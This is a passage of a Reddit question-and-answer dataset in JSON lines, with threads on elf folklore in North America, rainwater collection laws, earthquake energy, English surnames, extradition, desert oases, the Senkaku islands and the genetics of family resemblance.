that other adopted their technology, their vocabulary (Lode is a mining word from Cornwall, for example), and apparently their beliefs about the underground, eerie environment of the mine. The Newfoundland example can also be regarded as thriving, probably also because of a concentrated immigrant cluster.\n\nElf beliefs did not generally thrive, however. This is probably due to a number of factors. Immigrants often went to urban settings, and even in Europe, when rural believers migrated to cities, they often lost their beliefs. Immigrants often diffused among other groups so that they lost an ethnic critical mass in a community, and that weakened beliefs. Where beliefs survived within the mind of an immigrant, they were not likely to be passed on to a new generation, since children will echo the belief system of their peers more than their parents (the same is general true of dialect). Because North Americans did not have deep roots and they generally regarded themselves as being part of the technological, industrial cutting edge, beliefs in traditional, pre-industrial beliefs had little room to thrive. \n\nAnd finally, beliefs tend to be tied to places: the elves have always lived within that mound over there - that sort of thing. So when immigrants encountered a new environment, it was difficult to conceive of the supernatural beings as having lived in a certain spot since the new arrivals did not have anyone to tell them that this was the case. It's a complex answer to a difficult question, but these were certainly factors in why European supernatural beings did not generally thrive in the New World.\n\nThe examples you cite of supernatural beings that thrive, to a certain degree, among North Americans are often based on Native American beliefs. Here we have a situation where the people who did live in North America were able to communicate to the new arrivals that \"something lives over there\" or in that lake. These stories did not often make the transition and become an active belief system among the new arrivals. They often were adopted for local tourism and were regarded as \"quaint\" stories. Sometimes, the new arrivals adopted them completely - the bigfoot tradition is a good example.\n\nEveryone has folklore and most if not all people have an active tradition involving supernatural beliefs (ghosts and angels are active today in North America, and we can include extraterrestrials in the spectrum of possible beliefs). So it was predictable that once immigrants \"settled in\" in their new home that they would have a belief system that included supernatural beings. The only question was regarding what they would believe in. So we have an assortment of supernatural beings in North America: for the most part, European elves (and the various creatures under that broad umbrella) failed to thrive; the widespread traditions involving ghosts and angels thrived; and some indigenous Native American beliefs diffused to the new population and thrived to a certain degree. We can even argue that the elves survived and thrived in a way: extraterrestrials are \"little green men\" who fly about in the night sky, abduct people, leave circles on the land, and do many other things that the traditional elf did in pre-industrial Europe.\n\nI hope that helps.\n\nedit to make clear that \"lode\" is an English-based word rather than a word with Celtic roots, drawing on the language was widespread in Cornwall. Thanks to /r/CasualCasuist for pointing out my careless language in this regard.", "A book called Daimonic Reality makes the argument that the same mental phenomena that led people to believe in fairies is now seen as alien abductions/UFOs in America. Bright lights and orbs that fly around is usually how people described fairies, and if you compare people's descriptions of seeing fairies with more modern versions of alien abductions there's a lot of over lay in the details. So, they did survive, but changed context due to cultural differences. I always found that an interesting viewpoint.", "My Nicaraguan's friend's mother saw a leprechaun in San Francisco. We pressed her about it, her English is excellent, and \"leprechaun\" was her choice of words. Needless to say, we found this very puzzling.\n\nJames Mooney, the widely-published Irish-American ethnographer active in the late 19th century and early 20th century, studied the folklore and oral history of numerous tribes, notably the Kiowa and Cherokee. It's felt that his Irish cultural upbringing made him more receptive to the tribal cultures. Prior to writing about American Indians, Mooney published [two papers on Irish folklore](_URL_2_) for the Bureau of Ethnology in 1889. His widowed mother who raised him was \"steeped in the folklore of Ireland\" ([Mooney 3](_URL_1_)).\n\nI agree with /u/itsallfolklore and /u/LieBaron, that elves are European and tied to place; however, almost every mainland Native American tribe has a history with Little People, that more closely approximate pixies or fairies, in that they are about two-feet tall or so; tend to live in wild, rocky places; tend towards being extremely mischievous (taking and hiding objects); help out lost children; and love to sing and dance. Humans that encounter Little People universally spend far more time with them than they think. When they returned to other humans, they believe they've been gone for a brief period of time, when they actually have been missing for hours or days. \n\nMooney describes Cherokee Little People [here](_URL_0_). While Cherokee Little People have been written about extensively, I've heard of Hopi, Comanche, Anishinaabe, and many other tribes interacting with Little People.", "I have a secondary question: what is \"Elf School\" that OP mentions?", "For what it's worth, there are plenty of Central American folktales of diminutive, mischievous humanoids, often referred to as *duendes* in Spanish or another word in respective indigenous languages. However, many are likely based on Native American stories that existed pre-colonization. \n\nWhere I lived in Panama, there was a story about underground dwelling tiny humans called *chambera* in the Embera language, who live underground, are highly intelligent, had their feet on backwards, wear green loincloths, and come out at night to steal things and cause mischief.", "Wow. The answers here are sublime and I cannot compete on such a large scale. Normally, even if I knew an answer to a question posted to this sub I wouldn't even try to answer because I know there are so many people here who can do it with much more grace and cited material then I could. This particular area is my only exception.\n\nWhen it comes to most mythological creatures with their roots firmly planted in European beliefs and traditions there is actually a simple answer. Immigrants from these countries tended to believe that the particular creature of myth said to inhabit their homeland was just that, a species of their homeland. There are obvious exceptions, but when European based creatures of myth are added up they far outnumber the ones found in New World beliefs.\n\nFor instance, Irish Fairy Rings/Mounds. This phenomenon has a scientific answer in the form of a particular fungi. This fungi, although not native to the New World is found today on North American soil. Now in very recent history the Irish government actually halted the construction of an airport to divert it away from these rings because the superstition surrounding the bad luck they bring is so strong. Yet Irish American immigrants have rarely ever written or spoke of their thoughts in identical rings in N.A.. The fairies that cause these rings with their dances by the moonlight live in Ireland, not here (as far as they are concerned) and fungi rings here typically garnered no more then a glance. In fact fairies are such a deeply embedded belief in Ireland some surveys state that over 40% of people in Ireland claim to have seen a fairy while over 80% state their unwavering belief in the creatures.\n\nNow one would gather that especially during the Great Famine and the massive influx of Irish people that this little creature of myth would 'come along' to the New World. However, it did not. The immigrants considered N. America \"fairy free\", because well fairies are Irish. This is not to say there have been no reported fairy sightings on American soil but when weighed against the vast Irish immigrant population they are very few. At least much fewer then had the same number of people in Ireland been surveyed on their sightings on home turf.\n\nNow let's look at another creature of myth; gremlins. These creatures have dozens of different names and are acknowledged by several European cultures, but I'm just going to use the term \"gremlin\" for now. Germans were known to be fairly great believers in these creatures all the way thru WWII. Hitler himself ordered searches and rewards to anyone who could provide proof or even a specimen of one. It was all part of his bizarre occult obsession of course, as he offered up similar rewards for anything paranormal or cryptid in nature. \n\nWWII German fighter pilots were known to be deathly superstitious of these troublesome creatures and often blamed malfunctions on their \"dirty work\". Different pilots (depending in what area of Germany they came from) had different \"rituals\" for ridding their plane of these nuisances. Some left sweets as an offering of peace, while others hid bits of herbs and plants gremlins were known to hate aboard their aircraft. German aviation mechanics were also quick to blame these creatures for any errors found.\n\nNow during WWII this superstition briefly rubbed off on some British pilots and a small handful of accounts of German gremlin problems while on a mission were reported. For reasons I'm admittedly unaware of this belief amongst the Brits quickly died out.\n\nThe influx of Germans to America during and right after the war did help revive the belief here. German immigrants had brought their beliefs with them long before 1900 and many Americans saw the gremlins as vicious or evil gnomes that had been ousted from their community for some unknown sin. The 1930's-1950's saw a re-emergence of this creature on American soil and over that time period several dozen books were written (both fiction and reports of accounts) and reports of sightings were at an all time high. The reason this belief died out was pure survival. Many German immigrants wished to assimilate as quickly as possible due to the harsh feelings Americans had during and post-war. Many families altered their names and shed German traditions quite quickly in order to gain employment and avoid trouble in their new homes. This included leaving the idea of gremlins behind as well (even if they still believed it wasn't spoken of outside tight knit German-American communities). I will note that my knowledge of this particular subject (German gremlins) comes from familial first hand accounts and experiences.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.independent.co.uk/news/john-walsh-on-monday-irish-road-sidetracked-by-the-fairies-right-of-way-1120744.html", "http://www.independent.co.uk/news/world/europe/road-project-in-iceland-delayed-to-protect-hidden-elves-9021768.html"], [], [], ["http://books.google.com/books?id=G9bnhN6iDL4C&amp;lpg=PA3&amp;ots=hDcIuXHowb&amp;dq=James%20Mooney%20Irish%20folklore&amp;pg=PA337#v=onepage&amp;q=%22race%20of%20spirits%22&amp;f=false", "http://books.google.com/books?id=G9bnhN6iDL4C&amp;lpg=PA3&amp;ots=hDcIuXHowb&amp;dq=James%20Mooney%20Irish%20folklore&amp;pg=PA3#v=onepage&amp;q&amp;f=false", "http://books.google.com/books?id=0psqAAAAYAAJ&amp;lpg=RA1-PA239&amp;ots=5DyCvMJl5Q&amp;dq=James%20Mooney%20Irish%20Folklore&amp;pg=RA1-PA239#v=onepage&amp;q&amp;f=false"], [], [], []]}
{"q_id": "7503py", "title": "why is collecting rainwater illegal in certain countries  &  in certain us states?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7503py/eli5_why_is_collecting_rainwater_illegal_in/", "answers": {"a_id": ["do2fszg", "do2gopa", "do2gpm5", "do2hdv2", "do2qivh", "do2qmmt", "do2qnfn", "do2rrbr", "do2rtab", "do2ryiy", "do2s0l6", "do2sh5y", "do2sss4", "do2u5a4", "do2ubjf", "do2ujpc", "do2uqd5", "do3s0f1"], "score": [1329, 289, 518, 15, 10, 3, 12, 2, 41, 13, 265, 9, 3, 2, 3, 4, 3, 2], "text": ["Who owns the river? Everyone, it's a public resource and no one has a monopoly on it. It's managed by the government for issues like right of way, pollution dumping, and what you can use it for.\n\nEveryone owns it has has rights to use it.  Like farmers can pull off so much water for crops.  \n\nBut what about the upstream little rivers that feed into it? Same thing.\n\nBut what about the source that feeds into those little rivers? ....well that's rain water.  \n\nWhere water rights are a big deal, not letting water flow down stream is considered stealing from those people. And so rain water outs treated the same.   \n\nLegally, the system is really old and a real mess.  Read \"The Water Knife\" for a dramaticized account.", "My understanding is that collecting too much rain water can screw the people who are downstream.\n\nThere are farms and communities/cities that rely on water from rivers and lakes. If people upstream collect too much rain water, then less water runs into the rivers and lakes. Now the people who rely on those rivers and lakes have a water shortage. ", "No homeowner is going to get in trouble for having a typical rain barrel on their property. What states don't want is mega-corporations who own huge tracts of land disrupting the regional agriculture industry and ecosystems by hoarding vast amounts of water that would normally flow into rivers.", "in some areas water is an extremely limited resource and the amount of rain that lands on one person land is enough to actually significantly change the amount of water in the system. so areas that don't get a lot of water pool all their water together with all the other people that are in the same water system and let the state divvy it up so that it will be of the most use. now there are people that say this is a bad thing but if those people live in areas that do not get a lot of rain then i can guarantee they use more water then water then what lands on there property. normally a city covers this because some areas in a water system get a lot more rain than others and often times there is a lot of un owned land that feeds into it as well. but if you are not letting your water flow into the system then you are depleting the system without replenishing it. you might be able to get away a few people on a system doing it but if you get a lot of people then it causes alot of problems that are to long of an explanation to get into in a reddit post ", "In practice you are very unlikely to get in trouble for  &  the law is not intended to target homeowners installing a rain-barrel under their down-pipes in order to water their garden. It's designed to prevent people digging huge reservoirs and damming rivers in order to collect rainwater.", "Collecting rain water, especially in places that are semi arid, can have devastating effects on local groundwater and eco systems. Not only that, things down grade from the collection site can also be devastated. It\u2019s an all around bad idea in a lot of places where water is used sparingly. ", "Because any rainfall collected and stored does not enter the water table and make its way into the river system.\n\nNestle paid good money for that river water /s\n\n", "In Denmark, a country not in the US, it is illegal in the capital to collect rainwater, primarily because your metered utility water bill is also paying for the sewers, so if you wash your clothes and flush your toilet with rainwater, you would save too much money. Water is expensive, we pay 60 cents a gallon!!", "It's 100% legal in 42 states with restricted legality in only 8 states due to water rights. For example you can only collect up to 150 gallons of rainwater using your personal roof in Colorado, and this was from a law that passed in January of this year. Before that, you couldn't have a rainwater system because the state of CO owns all of the states water rights. It all comes down to who claims ownership of the water in the state. Links to every state's laws about rainwater: _URL_0_", "There are no US states that make collecting rainwater illegal.  Last year, Colorado changed the law to make it legal, and it's been legal in California for a few years.  Most states actively encourage the practice, you can even get tax deductions for rainwater barrels in some places.  Of course there may be other regulations around the process and how it can be done that vary from place to place, but the general practice of collecting water from your roof is legal everywhere\n\nThe original laws against rainwater collection in a few western states came down to water rights.  So if I have a farm in a valley and have the right to x gallons of water, you aren't allowed to build another farm and a dam upstream of me and take all the water I was using.   Rainwater collectors were seen as essentially damming \"upstream\" and thus taking water from those downstream who had water rights.\n\nBut the truth is that very little of the water that falls on a roof will ever make it downstream into the watershed.  A 2007 study by the Colorado water board found only three percent made it (and that was for rainfall landing directly on the ground!). So the actual impact of rainwater collection systems on rooftops is minimal, which is no doubt part of the reason why they've become legal in all states.\nUseful links\n\n_URL_1_\n\n_URL_0_", "Here in Colorado, every drop of water that falls from the sky or melts into a creek is ultimately owned by someone. It is also not that long since the last drought, when we were not allowed to water yards or wash cars at home, so a lot of people here are water-aware by default. \n\nI own a house in a rural subdivision that gets its water from a creek, based on a water rights contract from the 70s, but the state is threatening to shut off every well in the subdivision if we don't mitigate evaporation and run-off. \n\nThey're not joking, water rights agreement be damned. The association has already gone deep into debt to pay for earth movers to come out and convert our lake into a wetlands with no standing water, and we're still not in the clear. The other option is to own a house with no source of water, so what can we do besides comply with the demands of the state?\n\nThe state is also actively using satellite data and planes to survey the state, looking for unauthorized ponds and other water collection, and forcing people to drain ponds that have existed for decades, because the water in those unauthorized ponds is \"owned\" by someone else. \n\nSo yeah, water is serious business here in Colorado, but I think we did recently get permission for each house in the state to be allowed to collect one barrel of rainwater per year, so that's something, I guess.\n\nHere is a picture of ditch water from Cottonwood Creek being carried over a stream from Cottonwood Creek that I saw last week. I thought it was a pretty good example of how we really care about our water rights in Colorado, to the point where we won't allow stream water and ditch water to mix once they have been split off, even though it all comes from the same creek. \n\n_URL_0_", "New Mexico resident here.  What's rainwater?", "Disease can grow in still standing water that's not properly maintained, there was a deadly outbreak of Legionnaire's disease that sparked a lot of these rules. ", "Part of it has to do with the legally agreed upon rights to the water.  Which is insanely complicated but usually boils down to trying to avoid the \"tragedy of the commons\". Part of it is a public health issue. If captured water isn't handled properly it can become a serious bad news vector. ", "In Canada, we have issues with Hydraulic Fracking for natural gas and bitumen extraction. They are diverting up to 60% of major rivers and forcing the water deep into the ground where it will likely never be returned to the water table, and if it did, it would be toxic. \n\nWe\u2019ve also had problems with Nestle bottling water from ground water and drying up city water supplies near the bottling facilities. The biggest issue is the cost of these water contracts. As a citizen paying for water service at your house, you\u2019re likely paying 40$/month, yet Nestle is paying on average about 3$/1 Million Litres of water. ", "In Nevada, water is scarce and is therefore highly regulated.  All water is owned by the state.  Individual landowners can obtain water rights permits, allowing them a specified amount of water from a specified source.  That permit must be periodically renewed, along with proof that you are actually using the water, or you will lose your water rights.  This is true for any water from any source that isn't part of a municipal water system.\n\nThat said, collecting rainwater has never been much cause for debate here because we get so little rain that you could not reasonably rely on rainwater to fill any actual need. ", "Most states in the US employ the riparian water rights system, which derives its origins in common law and allows for all riparian property owners (owners of land abutting lakes or rivers) to make reasonable use of that water source.\n\n\n\nWestern states typically use the \"prior appropriation\" system. This is a \"first in time, first on right\" system that protects the rights of the first users, in the amount of water that they put to beneficial use. It is a separate and distinct property right that can be quite valuable. The prior appropriation right allows for the senior user to get his or her allotment of water before junior users, even if those junior users are upstream, in times of drought. \n\n\n\nColorado in particular has a robust prior appropriation scheme, which requires judicial recognition of each water right. \n\n\n\n\nThe rationale behind prior appropriation is that water has always been scarce in the American West, and so the first in time, first in right principle encourages beneficial development. Any water that remained in streams and fed into the ocean was considered wasteful because that water could have been put to a purpose that actually provides a benefit. \n\n\n\n\n\n\nInterfering with another's water right by attempting to divert water for another purpose interferes with that property right.\n\n\n\n\nSource: Real property attorney (not your attorney and this is not legal advice) ", "Wow, didn't expect there to be that many votes/comments. Thanks, guys! I read the majority of the comments,  &  will continue to read more tonight. Someone in the comments posted [this US gov't page](_URL_0_) that points out state-specific rainwater harvesting laws if anyone wants to read if their state has one. Majority of them seem to be very vague, which tells me it's likely city-to-city specific as well (thanks for the link btw!).\nFrom reading the comments, it seems that Colorado has the strictest laws regarding rainwater harvesting per resident in the US. I asked this question because I was thinking of putting a rainwater barrel out in the future and also wondered why rainwater can be owned by any one entity. I'm honestly shocked that there are that many laws governing water access, but I guess it does make sense in this day  &  age."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://acerwatertanks.com/is-rainwater-harvesting-illegal/"], ["http://www.enlight-inc.com/blog/", "http://www.ncsl.org/research/environment-and-natural-resources/rainwater-harvesting.aspx"], ["https://imgur.com/gallery/0buSj"], [], [], [], [], [], [], ["http://www.ncsl.org/research/environment-and-natural-resources/rainwater-harvesting.aspx"]]}
{"q_id": "g3ec4", "title": "How much 'energy' was involved in the Japan earthquake?  (11 year old is really asking and I thought an interesting question)", "selftext": "My son and I talked about the earthquake and the immense 'power' of the tsunami after watching the videos.  Is there a way to quantify the energy of the earthquake(s)?  If so, can you also explain the amount energy in a way that an 11 year old can understand?  Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g3ec4/how_much_energy_was_involved_in_the_japan/", "answers": {"a_id": ["c1kmsbn", "c1knry6", "c1ko4f1"], "score": [20, 3, 3], "text": ["From wiki:\n\n >  This earthquake released a surface energy (Me) of 1.9\u00b10.5\u00d710^17 joules,[38] dissipated as shaking and tsunamic energy, which is nearly double that of the 9.1-magnitude 2004 Sumatran earthquake that killed 230,000 people. The total energy released (Mw) was calculated by the USGS WPhase Moment Solution at 3.9\u00d710^22 joules,[39] slightly less than the 2004 Sumatra quake. The total energy released underground was some 205,000 times that on the surface.\n\nTo put this in perspective, the atomic bomb dropped on Hiroshima released 5.4x10^13 J. Thus, the surface energy released by the earthquake alone was about 3500 times the energy released by the atomic bomb on Hiroshima.\n\nOf course, the distinction between how the energy is released is important.", "I just posted something that puts this in perspective. Unfortunately, it was completely ignored. Check it out. Hopefully, I didn't mess the math up. I checked it like ten times to minimize the risk of looking like an idiot. [Here's the link.](_URL_1_) \n\nEdit: I figured that I might as well post this here, so here it is:\n\n[This](_URL_0_) is what a 15 kiloton atomic bomb looks like. The Sendai earthquake that recently struck off the coast of japan was rated as an 8.9 on the Richter scale. The amount of energy released in an 8.9 earthquake is equivalent to 336 megatons, or 336 thousand kilotons of TNT. Yes, you read that correctly. The amount of energy released during the Sendai quake was 22,400 times the amount of energy released during the detonation of this atomic bomb. \n\n", "(someone feel free to check my math)  \nIn 11yr old terms :\n\n* A calorie is [defined](_URL_0_) as the amount of energy needed to raise the temperature of 1 gram of water by 1 degree Celsius. This is about 4.2 joules.\n* If the surface energy released by the quake was approximately was 1.9\u00d710^17, we can [calculate this to be 4.523809x10^16 calories](_URL_2_).\n\nThis is enough energy to cause a cube of water measuring [3.56km on a side to boil](_URL_1_), if it started at 0 degrees.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=Fkug7Osgf8M", "http://www.reddit.com/r/reddit.com/comments/g2dks/hey_reddit_i_would_just_like_to_give_some/"], ["http://en.wikipedia.org/wiki/Calorie", "http://www.wolframalpha.com/input/?i=%28cubed+root+4.523809x10^16%29+%2F+1000+%2F100", "http://www.wolframalpha.com/input/?i=1.9%C3%9710^17+%2F+4.2"]]}
{"q_id": "2f6t38", "title": "Is there a definable point in history, let's say in England for specificity, when last names/family names were adopted? Like a census or something?", "selftext": "For example, the name Ericson comes from \"son of Eric,\" so why did Eric's grandson take the name? At what point did the name Smith switch from being a title for a blacksmith to a common name? Someone over in /r/history mentioned the Dutch being forced to adopt a surname after Napoleon's invasion of the Netherlands, are there any other examples of a legal mandate like that?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2f6t38/is_there_a_definable_point_in_history_lets_say_in/", "answers": {"a_id": ["ck6jnr3", "ck6kwmx"], "score": [17, 3], "text": ["Warning: The below dates might be slightly off. I'm working for memory here.\n\nThe 'why' is difficult. It's very hard to say why a byname (ie a nickname) suddenly becomes a formal surname. Particularly given that, in England, we're talking about a gradual and poorly documented process that occurred several hundred years ago.\n\nWhat we can say though is the when. For England at least. By the time of the 1377-81 poll taxes it seems that most of the population had acquired a surname or byname, with only a minority relying on given name alone. This would have been quite different from two to three centuries previously. The caveats here being that the tax returns would have missed out on the poorer segments of the population and that there were significant regional variances.\n\nSo by the mid 15th C it's safe to say that most English people had a surname. But no one really knows why. The arrival of the Normans probably played a role* and there was a sharp reduction in the variety of English given names in the centuries after 1000. Did this necessitate the adoption of surnames or was it driven by the latter? I've not seen anything to conclusively prove it either way.\n\n*And it's worth noting that across much of Europe the first centuries of the new millennium saw the concept of the family almost redefined for the landowning elite. Smaller immediate families became more important, as opposed to the larger kinship groups of the early middle ages, and we see the spread of primogeniture and the consolidation of ancestral family lands. It makes sense that these practices would later spread to the rest of the population.\n\n(Incidentally, I don't know why this was necessary but I've seen references to Russian Tsars in the 19th C mandating that their Jewish subjects adopt surnames. I can only assume that, for some reason, Jewish communities in the Russian Empire did not use surnames.)", "hi! I don't recall offhand that the adoption of surnames *in England* has been described before, but you'll find a few other examples in the FAQ\n\n* [Surnames](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/wiki/language#wiki_surnames"]]}
{"q_id": "5ontlf", "title": "what do countries have to gain by not extraditing citizens?", "selftext": "If their citizens or residents have committed crimes that have other countries requesting their heads what is the gain of the country to not just give them up?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ontlf/eli5_what_do_countries_have_to_gain_by_not/", "answers": {"a_id": ["dckrdz1", "dcks2mh"], "score": [4, 5], "text": ["freedom and opposition to wrong countries and wrong laws. What is a beheading-crime in Saudi Arabia is legal and honored in North America", "It's an occasion for a country to show off its sovereignty : Russia's refusal to extract Snowden is mainly to show US that they don't care about threats and that they do what they want in their country. \n\nOn the other side, one country might prefer that his laws are applied in a court rather than another country's. Although it seems as a humane duty, it's quite political and the decision is taken based on what your allies and rivals would prefer to happen.\n\nIt also depends on the legitimacy of the extradition demand, if it's a crime somewhere, but legal in the country who hosts the \"criminal\" there's little interest for the country to do anything about it especially if they don't have great relation in the first place"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bxdq1f", "title": "how does a desert oasis work? what causes them and how do they last so long?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxdq1f/elif_how_does_a_desert_oasis_work_what_causes/", "answers": {"a_id": ["eq5omg2", "eq5p17h", "eq5yv86", "eq6lnxu", "eq6px4f", "eq77hta", "eq8azaa", "eq8mad1"], "score": [1061, 218, 79, 19, 8, 17, 4, 2], "text": ["usually formed from a below ground aquifer or river and eventually make it to the surface. i\u2019m not entirely sure how the plants get there but i do know that the ones that grow are important in protecting the water source from shifting sands and other environmental events that could cause it to dry up.", "Underneath the earth there can be random layers of rock that water doesnt seep through, which are called aquitards and the water that sits in the sand above it is called the aquifer. So the Oasis likely forms from rainfall (or a pre-existing underground river) that didnt seep super far because conveniently below is a rock form in a shape that can hold ground water high enough to make it accessible to vegetation above. \n\nSource: My GEO 101 exam is this week so I mean I could be wrong", "It\u2019s usually the lowest point in an area where all the water drains to. \n\n[video](_URL_0_)", "Awesome natural desert oasis outside Palm Springs called the Coachella Valley Nature Preserve. It\u2019s surrounded by miles and miles of rock and sand, but inside the oasis the Palm Trees are so dense you can\u2019t even see the sun in some spots. Sits on top of a fault line where water seeps up. Coyotes eat the berries that drop from trees and their droppings spread more Palm Trees. At least that\u2019s how I remember the guide explain it.", "As for how vegetation gets there, its either from dormant seeds un the sand, or from animals (birds mainly) passing by, drinking, and pooping / shedding / malting, depositing seeds they've carried from miles away", "Oh man, [The Secret Knowledge of Water by Craig Childs](_URL_0_) needs to be mentioned in this thread. I haven't finished it yet but it's fascinating. He spent so many years in the desert studying water sources, and depending on them for survival, it's kind of amazing he lived to write the book.", "There's a really beautiful oasis in the California Mojave Desert at Afton Canyon. The Mojave River flows below ground until it reaches the bottom of the canyon where it pools above the surface.", "I would assume plants come free seeds in the feces of birds that stop for a drink but that is just a wild assumption."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://youtu.be/nuJ6QTZdvxM"], [], [], ["https://www.amazon.com/Secret-Knowledge-Water-Discovering-American/dp/0316610690"], [], []]}
{"q_id": "3t8dxz", "title": "how do investigators attain their information that prevent acts of terror before they happen?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3t8dxz/eli5_how_do_investigators_attain_their/", "answers": {"a_id": ["cx40bez"], "score": [3], "text": ["We can primarily assume from leaked information that they have a bunch of top secret (illegal) methods about snooping on people and filtering it through.\n\nThough, the reason they are top secret is so that terrorists will repeatedly use the methods and get caught.\n\n & nbsp;\n\nAbout legitimate and false alarms. In situations were they have evidence such as chats describing something will happen. I can only assume it will be looked into and followed up. Its not something you can really take the risk with"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11e291", "title": "What was the pope's reaction to the rise of islam or Muhammad's teachings?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11e291/what_was_the_popes_reaction_to_the_rise_of_islam/", "answers": {"a_id": ["c6lnb80", "c6lnc0s"], "score": [3, 13], "text": ["Maybe secret glee.  At the time the Pope in Rome was dominated by the by the representative of the Byzantine Empire in Italy, and may have welcomed the decline of that empire, who knows.  However, if true that glee might have been quelled when the Muslims took Sicily and threatened Italy.  The Muslim presence lasted for over 200 years, until the Normans, of all people, drove them out.  Then you have the Crusades, and I trust you are familiar with those.", "First of all, the pope was not the sole leader of christianity during this time. While the schism between catholicism and orthodoxy was not complete, much of the christian world - including almost all of the christians that would be effected by the Arab conquest - viewed the pope either as a Patriarch (an equal to other Patriarchs of Alexandria, Constantinople, Antioch and Jerusalem), mere Bishop of Rome or even as a heretic.\n\nAt the time, the Pope was mostly concerned with the conquest and conversion of the many pagans of central Europe (which Charles the Great of France pursued, and was rewarded by being crowned as Holy Roman Emperor by the Pope), and the new religion rising in the east was the concern of the Patriarch of Constantinople and the Eastern Roman Empire.\n\nTo give some examples - the Visgothic Kigndom in Spain was largely Arian Christian and did not recognise the superiority of the Pope. The Egyptians were Monophysite Christian and actually welcomed the Muslims when they invaded due to the persecution they had suffered from the Eastern Roman Empire."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "10g8er", "title": "what is going on between japan and china currently.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10g8er/eli5_what_is_going_on_between_japan_and_china/", "answers": {"a_id": ["c6d73i2", "c6d8kjx"], "score": [24, 2], "text": ["There are some islands northeast of Taiwan that the Japanese call Senkakus and the Chinese call Diaoyu.\n\nLong story short, the islands have been administered by Japan since late 1800's when Japan invaded China and annexed them. Fast foward to 2nd world war when imperialist defeated Japan lost control of the islands to the US Govt. Nobody really cared much about them until 1972, when the US returned the islands to Japan, a couple of years after some discoveries of relevant energetic resources (mainly oil) on the EEZ around them (EEZ stands for [Exclusive Economic Zone](_URL_0_) and is basically the maritime zone that starts on the coastline and extends to 200-mile limit, on which the economic exploration belongs to whom controls the nation on the respective coastline). Since then, tensions have grown between the three interested on their control: Japan, China and Taiwan.\n\nMore recently (few weeks ago), Japanese Govt bought the islands from some Japanese family who owned the islands, and to whom the Govt had been paying rent to (don't ask why, it's too complicated for a ELI5). This sparked tensions on the region on a growing China who resent Japanese imperalism for centuries and want some kind of power struggle.\n\nBasically: it's not the islands (which are miniscule), but the EEZ around them and national pride.\n\nEdit: grammar.", "They hate each because Japan has brutally beat the crap out of China numerous times in the last ~200 years.\n\nIf Japan retains control of the islands, their fishing waters (and offshore drilling) are considerably larger. \n\nAt some point china owned the islands, and since they hate Japan, it really bothers the Chinese that the Japanese control them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Exclusive_economic_zone"], []]}
{"q_id": "1ue1sz", "title": "why do i look nothing like my family?", "selftext": "I know that genes play a huge part on how much you look like your parents but I don't. I'm hispanic with straight light brown hair and green eyes and my family looks are along the line of dark brown/black wavy-curly hair with brown eyes. I know only one family member that has light eyes which was my dad's aunt, but other than that, nobody else. I'm also tall compared to my family 6'2-6'3ish and my family is about anything ranging from 5'0 to 5'9. Can anyone explain this to me, I've searched everywhere but I still haven't found an explanation to this.\n\nJust so you know in advance I'm not adopted, I spent nearly $100 for a DNA test and I'm a math for both dad and mom.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ue1sz/eli5_why_do_i_look_nothing_like_my_family/", "answers": {"a_id": ["ceh3xbv", "ceh9sch", "cehd9ni"], "score": [11, 2, 2], "text": ["The short answer is that genetics is complicated.\n\nWe'll keep it to a simple version to start with, and only discuss genes as having two possible types: *recessive* or *dominant*. You get one copy of each gene from your mother, and one from your father. For a recessive gene to be expressed (ie, blue eyes), both copies have to be the recessive gene. That is to say, if even one is the dominant gene, then it will dominate, and you will have the trait it codes for. Generally, a dominant gene is shown by a capital letter, eg \"E\", and a recessive gene with a lower case, eg. \"e\". Two copies of the dominant is written as EE, two copies of the recessive as ee, and one of each as Ee. These are called *genotypes*. The physical representation of a genotype is called a *phenotype*. Both EE and Ee have the same phenotype (external appearance). Someone with a dominant phenotype may be either EE or Ee. A recessive phenotype **has to be** ee.\n\nTaking the example you used, brown eyes is coded for by a dominant gene in humans. If we call this \"B\", and the recessive green-eye gene \"b\", then we know you have the genotype \"bb\". You mentioned one of your relatives has light eyes, this tells us that there are likely to be some copies of the \"b\" gene floating around your family. For you to have two copes of \"b\", you must have gotten one from each of your parents, thus their genotype is Bb. This is how you've gotten green eyes even though your parents don't; they each have one version of the green-eye gene, it is just hidden. You mentioned that your family is hispanic, the most common gene variant in that particular population group is \"B\", so the chances of two people with Bb meeting is relatively small, hence why your extended family don't have many green eyes. As for your siblings (if you have any), the chance of a child getting two copies of \"b\" from heterozygous (one of each) parents is 1/4. \n\nNow, that's a simple case of genetic inheritance, known as *Mendelian inheritance*.* Height is a bit more complicated. Rather than a single gene making you either \"tall\" or \"short\", there are at least 15 different genes, each of which will add or take a few centimetres. The combination of genes you got by random chance may have boosted your height.\n\nThe other complicating factor is the *nature vs nurture* debate. Namely, for most traits, the actual outcome is a result of a combination of your genes (nature), and your environment (nurture). As a general rule of thumb, nutrition has improved markedly over the last century, and this has contributed greatly to increased height. The average height a few centuries ago was 5ft or less, it's now close to 6ft in a lot of Western countries. The genes in the population haven't changed, people are just 